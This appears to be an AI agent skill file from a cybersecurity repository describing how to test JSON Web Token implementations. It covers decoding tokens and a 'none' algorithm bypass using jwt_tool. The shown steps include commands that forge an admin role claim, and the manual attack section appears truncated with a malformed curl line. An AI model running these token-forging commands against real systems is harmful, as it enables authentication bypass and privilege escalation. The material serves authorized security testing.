testing-for-json-web-token-vulnerabilities

name	testing-for-json-web-token-vulnerabilities
description	Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation.
domain	cybersecurity
subdomain	web-application-security
tags	["jwt","json-web-token","algorithm-confusion","authentication-bypass","token-forgery","kid-injection","jku-attack"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1068"]
source	https://github.com/mukul975/Anthropic-Cybersecurity-Skills
source_commit	04450304b12645cb2b974ab96d28c0664758a88d

Testing for JSON Web Token Vulnerabilities

When to Use

• When testing applications using JWT for authentication and session management
• During API security assessments where JWTs are used for authorization
• When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
• During penetration testing of single sign-on (SSO) systems
• When auditing JWT library configurations for known vulnerabilities

Prerequisites

• jwt_tool (Python JWT exploitation toolkit)
• Burp Suite with JWT Editor extension
• jwt.io for decoding and inspecting JWT structure
• Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
• hashcat or john for brute-forcing weak JWT secrets
• Python PyJWT library for custom JWT forging scripts
• Access to application using JWT-based authentication

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Decode and Analyze JWT Structure

# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git

# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>

# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d

# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)

# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headers

Step 2 — Test "None" Algorithm Bypass

# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a

# Manual none algorithm attack:











curl -H  http://target.com/api/admin


python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv admin